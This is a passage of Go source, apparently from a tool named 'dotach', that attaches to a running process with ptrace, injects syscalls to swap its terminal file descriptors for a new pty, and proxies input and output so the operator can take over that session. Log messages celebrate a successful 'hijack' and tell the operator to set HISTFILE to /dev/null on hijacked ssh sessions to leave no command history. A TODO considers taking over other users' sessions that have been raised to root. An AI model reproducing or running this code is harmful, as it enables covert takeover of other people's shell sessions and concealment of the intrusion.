%d)", err, ttyFd, oldFd) 124 | } 125 | } 126 | 127 | return nil 128 | } 129 | 130 | // Proxy 交互数据并等待结束信号 131 | func (d *Dotach) Proxy() error { 132 | 133 | if oldState, err := term.MakeRaw(0); err == nil { 134 | //_ = oldState 135 | defer func() { 136 | _ = term.Restore(0, oldState) 137 | }() 138 | } else { 139 | return err 140 | } 141 | 142 | ptm := d.terminal.ptm 143 | 144 | done := func() { 145 | _ = ptm.Close() 146 | d.doneCh <- true 147 | } 148 | 149 | var once sync.Once 150 | 151 | go func() { 152 | // 使用MagicCopy来检测是否想要退出程序 153 | _, _ = MagicCopy(ptm, os.Stdin) // stdin 154 | once.Do(done) 155 | }() 156 | 157 | go func() { 158 | _, _ = io.Copy(os.Stdout, ptm) // stdout 159 | once.Do(done) 160 | }() 161 | 162 | go func() { 163 | _, _ = io.Copy(os.Stderr, ptm) // stderr 164 | once.Do(done) 165 | }() 166 | 167 | return d.WatchSignal() 168 | } 169 | 170 | func (d *Dotach) Hijack() (err error) { 171 | 172 | // 先查找tracee现有的可用的文件描述符 173 | fds, err := d.FindTraceeFds() 174 | if err != nil { 175 | Debug(err) 176 | return err 177 | } 178 | 179 | // 初始化pts 180 | if err := d.terminal.Init(fds); err != nil { 181 | Debug(err) 182 | return err 183 | } 184 | 185 | // 预检通过, 附加进程 186 | if err := d.tracer.Attach(); err != nil { 187 | return err 188 | } 189 | 190 | defer func() { 191 | if err := d.tracer.Detach(); err != nil { 192 | log.Println(err) 193 | } 194 | }() 195 | 196 | // 保存并替换tracee的文件描述符为我们的tty文件描述符 197 | if err := d.SaveAndReplaceTraceeFds(fds); err != nil { 198 | Debug(err) 199 | return err 200 | } 201 | 202 | // TODO 考虑是否加SIGCONT使程序继续运行而不是通过Detach来让程序继续运行(其实好像没太大影响) 203 | 204 | // 此处不可阻塞 不然无法detach 205 | return nil 206 | } 207 | 208 | func (d *Dotach) Run() error { 209 | defer func() { 210 | if err := d.Restore(); err != nil { 211 | log.Println(err) 212 | } 213 | }() 214 | 215 | // TODO 以后有机会研究一下: 同为一个低权限用户, 但是对方使用su 或者sudo -i等方式提升为root, 能否通过这种方式来提取 216 | // TODO 还有就是setsid接管session 和ctty的问题 217 | if err := d.Hijack(); err != nil { 218 | Debug(err) 219 | return err 220 | } 221 | 222 | log.Println("=====> Hijacked successfully!!! <=====") 223 | log.Println("") 224 | log.Println("If dotach to an ssh session, remember to execute 'export HISTFILE=/dev/null'") 225 | log.Println("") 226 | log.Println("[>>> DO NOT USE 'CTRL+C' or 'CTRL+D' or 'exit' ... to detach. <<<]") 227 | log.Println("") 228 | log.Println("Use magic: 'CTRL+X CTRL+X CTRL+X' to detach!") // 'dotach666' or 229 | log.Println("") 230 | log.Println("Press [ENTER] to continue...") 231 | 232 | return d.Proxy() 233 | } 234 | 235 | // WatchSignal 等待系统信号或者magic信号 236 | func (d *Dotach) WatchSignal() error { 237 | // 捕捉信号 238 | ch := make(chan os.Signal, 1) 239 | signal.Notify(ch, syscall.SIGHUP, syscall.SIGQUIT, syscall.SIGTERM, syscall.SIGINT) 240 | 241 | select { 242 | case <-d.doneCh: 243 | return nil 244 | case s := <-ch: 245 | switch s { 246 | case syscall.SIGQUIT, syscall.SIGTERM, syscall.SIGINT: 247 | return nil 248 | case syscall.SIGHUP: 249 | return nil 250 | default: 251 | return nil 252 | } 253 | 254 | } 255 | 256 | // return nil 257 | } 258 | 259 | func (d *Dotach) Restore() error { 260 | 261 | log.Println("Restoring...") 262 | if d.savedFds == nil || len(d.savedFds) == 0 { 263 | log.Println("Restore skipped.") 264 | return nil 265 | } 266 | 267 | if err := d.tracer.Attach(); err != nil { 268 | return err 269 | } 270 | 271 | defer func() { 272 | if err := d.tracer.Detach(); err != nil { 273 | log.Println(err) 274 | } 275 | }() 276 | 277 | // 将目标文件描述符恢复原样,并关闭我们开启的文件描述符 278 | for oldFd, newFd := range d.savedFds { 279 | if _, err := d.tracer.Dup3(newFd, oldFd); err != nil { 280 | return err 281 | } 282 | if _, err := d.tracer.Close(newFd); err != nil { 283 | return err 284 | } 285 | } 286 | 287 | log.Println("Restored.") 288 | return nil 289 | } 290 | 291 | func New(proc *os.Process) (*Dotach, error) { 292 | terminal, err := NewTerminal() 293 | if err != nil { 294 | return nil, err 295 | } 296 | return &Dotach{ 297 | proc: proc, 298 | tracer: NewTracer(proc), 299 | terminal: terminal, 300 | doneCh: make(chan bool, 1), 301 | }, nil 302 | } 303 | -------------------------------------------------------------------------------- /ptrace.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | "syscall" 8 | ) 9 | 10 | func NewTracer(proc *os.Process) *Tracer { 11 | return &Tracer{ 12 | proc: proc, 13 | } 14 | } 15 | 16 | func (t *Tracer) Syscall(sysNo int, a1, a2, a3, a4, a5, a6 int) (int, error) { 17 | log.Printf("Syscall(0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x)", uint64(sysNo), uint64(a1), uint64(a2), uint64(a3), uint64(a4), uint64(a5), uint64(a6)) 18 | // 确保已经准备好进行syscall 19 | if err := t.WantState(StateBeforeSyscall); err != nil { 20 | return 0, err 21 | } 22 | 23 | registers := NewRegister() 24 | 25 | if err := t.GetRegister(registers); err != nil { 26 | return 0, err 27 | } 28 | 29 | //log.Printf("系统调用前的寄存器: %#v", registers) 30 | 31 | if err := t.setSyscallArgs(sysNo, a1, a2, a3, a4, a5, a6, registers); err != nil { 32 | return 0, err 33 | } 34 | 35 | //log.Printf("系统正要调用的寄存器: %#v", registers) 36 | 37 | if err := t.SetRegister(registers); err != nil { 38 | return 0, err 39 | } 40 | 41 | if err := t.WantState(StateAfterSyscall); err != nil { 42 | return 0, err 43 | } 44 | 45 | if err := t.GetRegister(registers); err != nil { 46 | return 0, err 47 | } 48 | 49 | //log.Printf("系统调用后的寄存器: %#v", registers) 50 | 51 | // 把寄存器恢复成原来的鸟样 52 | if err := t.RestoreRegister(); err != nil { 53 | return 0, err 54 | } 55 | 56 | if result := t.getSyscallResult(registers); result < 0 { 57 | return result, syscall.Errno(-result) 58 | } else { 59 | return result, nil 60 | } 61 | 62 | } 63 | 64 | func (t *Tracer) Munmap(addr uintptr) (int, error) { 65 | log.Printf("Munmap...") 66 | return t.Syscall(syscall.SYS_MUNMAP, int(addr), syscall.Getpagesize(), 0, 0, 0, 0) 67 | } 68 | 69 | func (t *Tracer) Mmap() (uintptr, error) { 70 | log.Printf("Mmap...") 71 | 72 | result, err := t.Syscall(syscall.SYS_MMAP, 73 | 0, 74 | syscall.Getpagesize(), 75 | syscall.PROT_READ|syscall.PROT_WRITE, 76 | syscall.MAP_ANONYMOUS|syscall.MAP_PRIVATE, 77 | 0, 78 | 0, 79 | ) 80 | if err != nil { 81 | return 0, err 82 | } 83 | 84 | // TODO 错误处理 返回的 scratch page 不一定是合法的地址 85 | 86 | log.Printf("Allocated scratch page: 0x%x", result) 87 | 88 | return uintptr(result), nil 89 | } 90 | 91 | func (t *Tracer) Memcpy(addr uintptr, str string) (int, error) { 92 | log.Printf("Memcpy(0x%x, %s)", addr, str) 93 | 94 | return syscall.PtracePokeData(t.proc.Pid, addr, []byte(str)) 95 | } 96 | 97 | // 弃用,arm64不支持open,使用openat代替 98 | // 参考文献: https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md 99 | //func (d *Tracer) Open(addr uintptr) (int, error) { 100 | // log.Printf("Open(0x%x)", addr) 101 | // 102 | // return d.Syscall(syscall.SYS_OPEN, int(addr), syscall.O_RDWR|syscall.O_CREAT, 0666, 0, 0, 0) 103 | //} 104 | 105 | func (t *Tracer) OpenFile(filepath string) (int, error) { 106 | log.Printf("OpenFile(%s)", filepath) 107 | 108 | scratchPage, err := t.Mmap() 109 | if err != nil { 110 | return 0, err 111 | } 112 | 113 | defer func() { 114 | if _, err := t.Munmap(scratchPage); err != nil { 115 | log.Printf("Failed to free memory page: %v", err) 116 | } else { 117 | log.Printf("Scratch page freed: 0x%x", scratchPage) 118 | } 119 | }() 120 | 121 | n, err := t.Memcpy(scratchPage, filepath) 122 | if err != nil { 123 | return 0, err 124 | } 125 | 126 | if n != len(filepath) { 127 | return 0, fmt.Errorf("tracee memcpy failed: %d bytes should be written, %d bytes are actually written", len(filepath), n) 128 | } 129 | 130 | if fd, err := t.OpenAt(scratchPage); err != nil { 131 | return 0, err 132 | } else { 133 | //log.Printf("远程已打开文件描述符: %#v", fd) 134 | return fd, nil 135 | } 136 | } 137 | 138 | func (t *Tracer) OpenAt(addr uintptr) (int, error) { 139 | log.Printf("OpenAt(0x%x)", addr) 140 | 141 | return t.Syscall(syscall.SYS_OPENAT, -1, int(addr), syscall.O_RDWR|syscall.O_NOCTTY, 0, 0, 0) 142 | } 143 | 144 | func (t *Tracer) Close(fd int) (int, error) { 145 | log.Printf("Close(0x%x)", fd) 146 | 147 | return t.Syscall(syscall.SYS_CLOSE, fd, 0, 0, 0, 0, 0) 148 | } 149 | 150 | func (t *Tracer) Dup(oldFd int) (int, error) { 151 | log.Printf("Dup(0x%x)", oldFd) 152 | 153 | return t.Syscall(syscall.SYS_DUP, oldFd, 0, 0, 0, 0, 0) 154 | } 155 | 156 | func (t *Tracer) Dup3(oldFd, newFd int) (int, error) { 157 | log.Printf("Dup3(0x%x, 0x%x)", oldFd, newFd) 158 | 159 | return t.Syscall(syscall.SYS_DUP3, oldFd, newFd, 0, 0, 0, 0) 160 | } 161 | 162 | func (t *Tracer) WantState(want TraceeState) error { 163 | 164 | log.Printf("WantState(Current: %s, Want: %s)", t.traceeState, want) 165 | defer func() { 166 | log.Printf("WantState(Get: %s)", t.traceeState) 167 | }() 168 | 169 | if t.traceeState == want { 170 | return nil 171 | } 172 | 173 | for t.traceeState != want { 174 | switch want { 175 | case StateBeforeSyscall, StateAfterSyscall: 176 | // 想要系统调用 177 | if err := syscall.PtraceSyscall(t.proc.Pid, 0); err != nil { 178 | Debug(err) 179 | return err 180 | } 181 | case StateRunning: 182 | // 想要程序继续运行 183 | return syscall.PtraceCont(t.proc.Pid, 0) 184 | case StateStopped: 185 | // 想要程序停止 186 | if err := t.proc.Signal(syscall.SIGTSTP); err != nil { 187 | Debug(err) 188 | return err 189 | } 190 | default: 191 | return fmt.Errorf("the want state is wrong") 192 | } 193 | 194 | if state, err := t.Wait(); err != nil { 195 | Debug(err) 196 | return err 197 | } else if state == StateAtSyscall { 198 | // 当返回的状态是由PTRACE_SYSCALL触发的, 那么当前状态要交错着来 199 | if t.traceeState == StateBeforeSyscall { 200 | t.traceeState = StateAfterSyscall 201 | } else { 202 | t.traceeState = StateBeforeSyscall 203 | } 204 | } else { 205 | t.traceeState = state 206 | } 207 | 208 | } 209 | return nil 210 | } 211 | 212 | func (t *Tracer) Wait() (TraceeState, error) { 213 | log.Printf("Waiting...") 214 | 215 | var waitStatus syscall.WaitStatus 216 | 217 | if _, err := syscall.Wait4(t.proc.Pid, &waitStatus, 0, nil); err != nil { 218 | return StateUnknown, err 219 | } 220 | 221 | log.Printf("Wait Status: 0x%x", waitStatus) 222 | 223 | if waitStatus.Exited() { 224 | return StateExited, fmt.Errorf("error: Exited(status: %d)", waitStatus.ExitStatus()) 225 | } else if waitStatus.Signaled() { 226 | if waitStatus.CoreDump() { 227 | return StateSignaled, fmt.Errorf("error: CoreDump(0x%x)", waitStatus) 228 | } else { 229 | return StateSignaled, fmt.Errorf("error: Signald(%s: %d)", waitStatus.Signal().String(), waitStatus.Signal()) 230 | } 231 | } else if waitStatus.Continued() { 232 | return StateContinued, fmt.Errorf("error: Continued(0x%x)", waitStatus) 233 | } else if waitStatus.Stopped() { 234 | log.Printf("Stopped(%s: %d)", waitStatus.StopSignal().String(), waitStatus.StopSignal()) 235 | 236 | switch waitStatus.StopSignal() { 237 | case syscall.SIGSEGV: 238 | return StateStopped, fmt.Errorf("error: Stopped(%s: %d)", waitStatus.StopSignal().String(), waitStatus.StopSignal()) 239 | case syscall.SIGTRAP: 240 | if waitStatus.TrapCause() == 0 { 241 | // 一般情况下仅在attach的时候走下面的流程,也就是一般只有刚attach的时候会 SIGTRAP 242 | // 通常是amd64会触发 243 | return StateStopped, nil 244 | } 245 | log.Printf("Trapped(0x%x)", waitStatus.TrapCause()) 246 | if waitStatus.TrapCause() == syscall.PTRACE_EVENT_FORK { 247 | forkedPid, err := syscall.PtraceGetEventMsg(t.proc.Pid) 248 | if err != nil { 249 | return StateTrapped, err 250 | } 251 | log.Printf("forkedPid: %d", forkedPid) 252 | } 253 | return StateTrapped, nil 254 | case syscall.SIGCONT: 255 | return StateContinued, nil 256 | case syscall.SIGSTOP: 257 | // 一般情况下仅在attach的时候走下面的流程,也就是一般只有刚attach的时候会 SIGSTOP 258 | // 通常是arm64会触发 259 | return StateStopped, nil 260 | default: 261 | // 从PTRACE_SYSCALL来的信号 262 | if int(waitStatus.StopSignal()&0x80) != 0 { 263 | return StateAtSyscall, nil 264 | } 265 | return StateStopped, fmt.Errorf("error: Unhandled(%s: %d)", waitStatus.StopSignal().String(), waitStatus.StopSignal()) 266 | } 267 | } else { 268 | return StateUnknown, fmt.Errorf("error: Unknown wait status (0x%x)", waitStatus) 269 | } 270 | } 271 | 272 | func (t *Tracer) Attach() error { 273 | log.Printf("Attaching...") 274 | // 附加(会挂起进程) 275 | if err := syscall.PtraceAttach(t.proc.Pid); err != nil { 276 | Debug(err) 277 | return err 278 | } 279 | 280 | if state, err := t.Wait(); err != nil { 281 | Debug(err) 282 | return err 283 | } else if state != StateStopped { 284 | Debug(state.String()) 285 | return fmt.Errorf("state error(want: %s, current:%s)", StateStopped, state) 286 | } 287 | 288 | if err := syscall.PtraceSetOptions(t.proc.Pid, syscall.PTRACE_O_TRACESYSGOOD|syscall.PTRACE_O_TRACEFORK); err != nil { 289 | Debug(err) 290 | return err 291 | } 292 | 293 | // TODO 未处理32位代码运行在64位CPU的情况(意思就是说 x86_64下没有判断CS=0x23还是0x33) 294 | if err := t.SaveRegister(); err != nil { 295 | Debug(err) 296 | return err 297 | } 298 | 299 | log.Printf("Attached.") 300 | return nil 301 | } 302 | 303 | func (t *Tracer) Detach() error { 304 | log.Println("Detaching...") 305 | // TODO: 还原寄存器 306 | //log.Printf("Tracee State: %s", d.state) 307 | //if err := d.WantState(StateAfterSyscall); err != nil { 308 | // return err 309 | //} 310 | if err := syscall.PtraceDetach(t.proc.Pid); err != nil { 311 | return err 312 | } 313 | t.traceeState = StateDetached 314 | log.Println("Detached.") 315 | return nil 316 | } 317 | --------------------------------------------------------------------------------